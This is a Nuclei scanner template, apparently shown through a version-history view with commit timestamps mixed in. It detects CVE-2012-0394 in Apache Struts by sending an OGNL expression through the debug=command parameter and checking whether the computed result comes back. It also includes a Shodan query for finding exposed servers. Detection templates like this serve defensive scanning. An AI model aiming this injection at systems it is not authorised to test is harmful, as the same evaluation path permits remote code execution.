nuclei-templates/http/cves/2012/CVE-2012-0394.yaml

53 lines
2.2 KiB
YAML
Raw Normal View History

id: CVE-2012-0394
info:
name: Apache Struts <2.3.1.1 - Remote Code Execution
author: tess
2023-07-11 19:49:27 +00:00
severity: medium
description: |
Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
2023-09-06 13:22:34 +00:00
remediation: |
Upgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches.
reference:
- https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
- https://www.exploit-db.com/exploits/31434
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
- http://www.exploit-db.com/exploits/18329
- https://nvd.nist.gov/vuln/detail/CVE-2012-0394
classification:
2023-07-11 19:49:27 +00:00
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2012-0394
2023-07-11 19:49:27 +00:00
cwe-id: CWE-94
epss-score: 0.94515
epss-percentile: 0.99055
2023-09-06 13:22:34 +00:00
cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 13:22:34 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: apache
product: struts
2023-09-06 13:22:34 +00:00
shodan-query: html:"Struts Problem Report"
2024-01-14 09:21:50 +00:00
tags: cve,cve2012,ognl,injection,edb,apache,struts
variables:
first: "{{rand_int(1000, 9999)}}"
second: "{{rand_int(1000, 9999)}}"
result: "{{to_number(first)*to_number(second)}}"
http:
- method: GET
path:
- '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'
matchers-condition: and
matchers:
- type: word
words:
- '{{result}}'
- type: status
status:
- 200
# digest: 4a0a004730450220566de07437263f1f17cd2296b3abc5fd5304a93b7d1d56353923acec08dbe251022100cf2b72bf3e2d89bf593526e51a33b1d56420b0306a41772ef2a4b7a29d420234:922c64590222798bb761d5b6d8e72950